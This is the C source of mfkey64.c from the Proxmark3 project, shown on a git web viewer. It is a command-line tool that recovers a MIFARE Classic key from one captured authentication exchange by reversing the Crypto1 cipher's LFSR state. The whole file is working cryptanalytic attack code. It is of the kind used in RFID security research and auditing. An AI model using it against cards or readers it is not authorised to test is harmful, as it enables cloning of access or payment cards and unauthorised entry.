git.zerfleddert.de Git - proxmark3-svn/blob - tools/mfkey/mfkey64.c

   1 #define __STDC_FORMAT_MACROS
   2 #include <inttypes.h>
   3 #include "crapto1.h"
   4 #include <stdio.h>
   5 #include <time.h>
   6
   7 #define llx PRIx64
   8 #define lli PRIi64
   9
  10 int main (int argc, char *argv[]) {
  11         struct Crypto1State *revstate;
  12         uint64_t key;     // recovered key
  13         uint32_t uid;     // serial number
  14         uint32_t nt;      // tag challenge
  15         uint32_t nr_enc;  // encrypted reader challenge
  16         uint32_t ar_enc;  // encrypted reader response
  17         uint32_t at_enc;  // encrypted tag response
  18         uint32_t ks2;     // keystream used to encrypt reader response
  19         uint32_t ks3;     // keystream used to encrypt tag response
  20
  21         printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
  22         printf("Recover key from only one complete authentication!\n\n");
  23
  24         if (argc < 6) {
  25                 printf(" syntax: %s <uid> <nt> <nr> <ar> <at>\n\n",argv[0]);
  26                 return 1;
  27         }
  28
  29         sscanf(argv[1],"%x",&uid);
  30         sscanf(argv[2],"%x",&nt);
  31         sscanf(argv[3],"%x",&nr_enc);
  32         sscanf(argv[4],"%x",&ar_enc);
  33         sscanf(argv[5],"%x",&at_enc);
  34
  35         printf("Recovering key for:\n");
  36         printf("  uid: %08x\n",uid);
  37         printf("   nt: %08x\n",nt);
  38         printf(" {nr}: %08x\n",nr_enc);
  39         printf(" {ar}: %08x\n",ar_enc);
  40         printf(" {at}: %08x\n",at_enc);
  41
  42         // Generate lfsr succesors of the tag challenge
  43         printf("\nLFSR succesors of the tag challenge:\n");
  44         printf("  nt': %08x\n",prng_successor(nt, 64));
  45         printf(" nt'': %08x\n",prng_successor(nt, 96));
  46
  47         clock_t t1 = clock();
  48
  49         // Extract the keystream from the messages
  50         printf("\nKeystream used to generate {ar} and {at}:\n");
  51         ks2 = ar_enc ^ prng_successor(nt, 64);
  52         ks3 = at_enc ^ prng_successor(nt, 96);
  53         printf("  ks2: %08x\n",ks2);
  54         printf("  ks3: %08x\n",ks3);
  55
  56         revstate = lfsr_recovery64(ks2, ks3);
  57         lfsr_rollback_word(revstate, 0, 0);
  58         lfsr_rollback_word(revstate, 0, 0);
  59         lfsr_rollback_word(revstate, nr_enc, 1);
  60         lfsr_rollback_word(revstate, uid ^ nt, 0);
  61         crypto1_get_lfsr(revstate, &key);
  62         printf("\nFound Key: [%012"llx"]\n\n",key);
  63         crypto1_destroy(revstate);
  64
  65         t1 = clock() - t1;
  66         if ( t1 > 0 ) printf("Time : %.0f ticks \n", (float)t1);
  67         return 0;
  68 }